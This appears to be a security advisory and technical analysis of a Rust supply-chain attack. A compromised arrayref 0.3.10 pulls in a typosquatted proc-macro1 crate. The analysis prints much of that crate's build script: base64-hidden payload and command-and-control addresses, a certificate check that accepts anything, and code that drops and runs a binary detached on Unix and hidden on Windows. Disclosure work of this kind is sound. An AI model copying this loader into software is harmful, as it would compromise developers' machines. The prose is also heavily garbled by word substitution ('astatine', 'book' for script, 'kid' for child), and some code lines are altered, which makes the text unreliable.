Summary
On August 20, 2026, a compromised merchandise of the celebrated Rust crate arrayref appeared on crates.io. Version 0.3.10 added a dependency connected a typosquatted crate called proc-macro1, whose build book downloads and runs a distant binary while a task compiles. The codification runs astatine build time, truthful simply compiling a task that pulled the bad versions is enough to trigger it. The crates.io squad has since removed the malicious versions.
Packages involved
The genuine arrayref and append-only-vec crates are maintained by droundy, whose account appears to person been compromised. The corresponding GitHub repositories are nary longer available. github.com/droundy/arrayref, github.com/droundy/append-only-vec, and the full github.com/droundy relationship each return 404, so the upstream codification is nary longer disposable for inspection. A abstracted account, dtolney, published proc-macro1. The username intimately resembles David Tolnay’s existent dtolnay account. Its metadata forges authors = ["David Tolnay <[email protected]>"] and points repository astatine a dtolnay/proc-macro1 way that returns 404.
| arrayref | 0.3.10 | droundy (compromised) | Malicious, removed |
| proc-macro1 | all versions | dtolney (impersonation) | Malicious typosquat, full crate removed |
| append-only-vec | 0.1.9 | droundy (compromised) | Flagged by reporters, aforesaid actor |
| arrayref | 0.3.9 and earlier | droundy | Clean |
Note that proc-macro1 is not proc-macro2. The existent crate that macro authors dangle connected is proc-macro2. The src/ of the malicious proc-macro1 is a genuine transcript of proc-macro2, truthful builds kept moving while the build book ran.
What the build book does
The payload lives successful the build book of proc-macro1 1.0.107. It stores its server reside as base64 fragments and reassembles them astatine build time, quoted successful the advisory:
1
// proc-macro1-1.0.107/build.rs (quoted successful rustsec/advisory-db#3161)
2
const SRC_URL_PARTS: &[&str] =
3
&["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
4
const END_URL_PARTS: &[&str] =
5
&["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];
Decoded, those fragments nutrient the payload big hxxps://23[.]254[.]165[.]112:9089/ and the command and power reside 23[.]254[.]165[.]112:443. The book fetches an architecture-specific binary complete a TLS relationship that accepts immoderate certificate without validation, past runs it detached from the build. On Unix it drops and runs /tmp/rust-setup. On Windows it writes a PowerShell script and a VBScript launcher nether %TEMP% and starts them hidden, past abandons the kid process truthful the compiler does not hold for it.
How it spread
The proprietor relationship yanked the older arrayref releases 0.3.5 done 0.3.9. Yanking a crate makes Cargo people a “consider updating to a type that is not yanked” warning, which nudges developers toward the only non-yanked release, the malicious 0.3.10. The newsman who revenge the RustSec advisory noted this is really they hit it.
arrayref is wide utilized arsenic a transitive dependency. It sits heavy successful communal Rust graphs through tiny-skia, sctk-adwaita, and winit, which places it nether astir GUI activity built connected egui, eframe, and iced. The crate has astir 245 cardinal all-time downloads (244,989,384 astatine clip of writing), pinch the cleanable 0.3.9 merchandise accounting for astir 152 million. Those numbers measure how wide the crate is utilized alternatively than a count of affected builds.
Indicators of compromise
| Network | 23.254.165.112:9089 | Payload big (HTTPS) |
| Network | 23.254.165.112:443 | C2, passed to the payload arsenic argv[1] |
| File (Unix) | /tmp/rust-setup | Downloaded executable |
| File (Windows) | %TEMP%\rust-setup.ps1 | Downloaded PowerShell script |
| File (Windows) | %TEMP%\rust-setup-launch.vbs | VBScript launcher |
| Second-stage names | rust-crate_0.1.0, _0.2.0, _0.3.0, _0.4.0 | Chosen by OS and architecture |
SHA256 of the removed crate artifacts:
| arrayref 0.3.10 | 25ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae |
| proc-macro1 1.0.107 | 61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4 |
| proc-macro1 1.0.106 | b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436 |
Part 2: Technical Analysis
Our method study covers the 2 crates down this incident, arrayref 0.3.10 and proc-macro1 1.0.107. arrayref 0.3.10 pulls successful a dependency called proc-macro1. The malicious code is successful the build book of proc-macro1, not successful arrayref itself.
The injection constituent successful arrayref
arrayref is simply a mini crate of 4 macros. Up to 0.3.9 it has nary build book and nary runtime dependencies. Version 0.3.10 keeps that macro root and adds 1 statement to the manifest:
1
[package]
2
name = "arrayref"
3
version = "0.3.10"
4
build = false
5
6
[dependencies.proc-macro1]
7
version = "1.0.107"
This [dependencies.proc-macro1] introduction is capable to present the malicious crate. The request 1.0.107 is simply a caret range, and pinch only 1.0.106 and 1.0.107 ever published it resolves to the malicious 1.0.107. The crate’s ain src/lib.rs is the mean macro code, for illustration the array_ref! macro:
1
#[macro_export]
2
macro_rules! array_ref {
3
($arr:expr, $offset:expr, $len:expr) => {{
4
{
5
#[inline]
6
const unsafe fn as_array<T>(slice: &[T]) -> &[T; $len] {
7
&*(slice.as_ptr() as *const [_; $len])
8
}
9
let offset = $offset;
10
let portion = &$arr[offset..offset + $len];
11
#[allow(unused_unsafe)]
12
unsafe {
13
as_array(slice)
14
}
15
}
16
}};
17
}
Nothing successful the arrayref root references proc-macro1, and it does not request to. Cargo builds every declared non-optional dependency, whether aliases not the codification uses it. So the manifest introduction alone makes Cargo fetch and build proc-macro1 whenever a task pulls successful arrayref 0.3.10, and building it runs the malicious build script.
proc-macro1 is simply a renamed transcript of proc-macro2
The src/ of proc-macro1 is proc-macro2 pinch a mechanical find-and-replace of proc-macro2 to proc-macro1. The rename reaches into archiving links and moreover copied rumor references, for example html_root_url = "https://docs.rs/proc-macro1/1.0.107" successful src/lib.rs and a github.com/dtolnay/proc-macro1/issues/235 nexus successful src/fallback.rs. Because the room codification is real proc-macro2, the crate useful arsenic a drop-in. This makes the malicious crate little noticeable during a normal build.
The package metadata forges an identity:
1
2
repository = "https://github.com/dtolnay/proc-macro1"
The email [email protected] is not David Tolnay’s, and the dtolnay/proc-macro1 repository returns 404. The suspicious quality is successful the build dependencies, which existent proc-macro2 does not have:
1
[build-dependencies.base64]
2
version = "0.22"
3
4
[build-dependencies.rustls]
5
version = "0.23"
6
features = ["ring", "std", "tls12"]
7
default-features = false
8
9
[build-dependencies.ureq]
10
version = "2"
11
features = ["tls"]
12
default-features = false
Those 3 crates springiness the build book base64 decoding, a TLS stack, and an HTTP client. These dependencies are different for a token-parsing library, and the malicious build book uses them.
The build book payload
The build book splits the server reside into base64 fragments and rebuilds it astatine compile time, so the earthy drawstring ne'er appears successful the source:
1
const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
2
const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];
Decoded, SRC_URL_PARTS is hxxps://23[.]254[.]165[.]112:9089/ and END_URL_PARTS is 23[.]254[.]165[.]112:443.
The download uses a TLS customer that accepts immoderate certificate. The AcceptAll verifier returns success from each certificate and signature cheque successful the rustls ServerCertVerifier trait, truthful a self-signed certificate connected the earthy IP passes:
1
impl ServerCertVerifier for AcceptAll {
2
fn verify_server_cert(/* ... */) -> Result<ServerCertVerified, rustls::Error> {
3
Ok(ServerCertVerified::assertion())
4
}
5
// verify_tls12_signature and verify_tls13_signature besides return occurrence unconditionally
6
}
The build book picks the binary to fetch by operating strategy and architecture. It supports four targets and aborts the build connected thing else:
1
fn link_suffix() -> &'static str {
2
match (std::env::consts::OS, std::env::consts::ARCH) {
3
("linux", "x86_64") => "rust-crate_0.1.0",
4
("windows", "x86_64") => "rust-crate_0.2.0",
5
("macos", "x86_64") => "rust-crate_0.3.0",
6
("macos", "aarch64") => "rust-crate_0.4.0",
7
(_, _) => panic!("unsupported platform"),
8
}
9
}
The download and execution tally wrong main, earlier the characteristic gross and the genuine proc-macro2 configuration logic that follows. There is nary characteristic emblem aliases situation cheque guarding it, truthful it runs connected each build connected a supported platform:
1
// proc-macro1-1.0.107/build.rs (inside main)
2
let url = src_download_url();
3
let bytes = download_bytes(&url);
4
5
match std::env::consts::OS {
6
"linux" | "macos" => run_unix_payload(bytes),
7
"windows" => run_windows_payload(bytes),
8
os => panic!("unsupported OS: {os}"),
9
}
On Unix the build book writes the bytes to /tmp/rust-setup, marks the record executable, and spawns it without waiting, passing the bid and power reside arsenic the first argument. It sends every standard watercourse to null:
1
fn run_unix_payload(bytes: Vec<u8>) {
2
let way = PathBuf::from("/tmp/rust-setup");
3
std::fs::write(&path, &bytes).expect("failed to constitute payload");
4
Command::new("chmod").args(["+x", path_str]).status().expect("failed to tally chmod");
5
Command::new(&path)
6
.arg(end_url())
7
.stdin(Stdio::null())
8
.stdout(Stdio::null())
9
.stderr(Stdio::null())
10
.spawn()
11
.expect("failed to spawn payload");
12
}
On Windows the fetched bytes are a PowerShell script. The build book writes them to %TEMP%\rust-setup.ps1 and starts them done a VBScript launcher nether wscript.exe, pinch a comment successful the root explaining why:
1
// ShellExecute via WScript escapes Cargo's occupation object; spawned children otherwise
2
// support the build book (and `cargo build`) waiting until they exit.
3
let vbs = format!(
4
r#"CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ""{script}"" ""{end}""", 0, False"#,
5
script = script_path.display(),
6
end = end_url(),
7
);
8
// ...
9
let kid = Command::new("wscript.exe")
10
.args(["//B", "//Nologo", launcher_str])
11
.creation_flags(CREATE_NO_WINDOW)
12
.spawn()
13
.expect("failed to spawn wscript launcher");
14
std::mem::forget(child);
The launcher runs hidden and does not hold for the process. The root remark states that routing through WScript is what escapes Cargo’s occupation object, truthful PowerShell keeps moving aft the build finishes. The last std::mem::forget leaks the wscript kid grip truthful its destructor never runs. Together this detaches the payload from Cargo. This allows the payload to proceed without blocking the Cargo build.
English (US) ·
Indonesian (ID) ·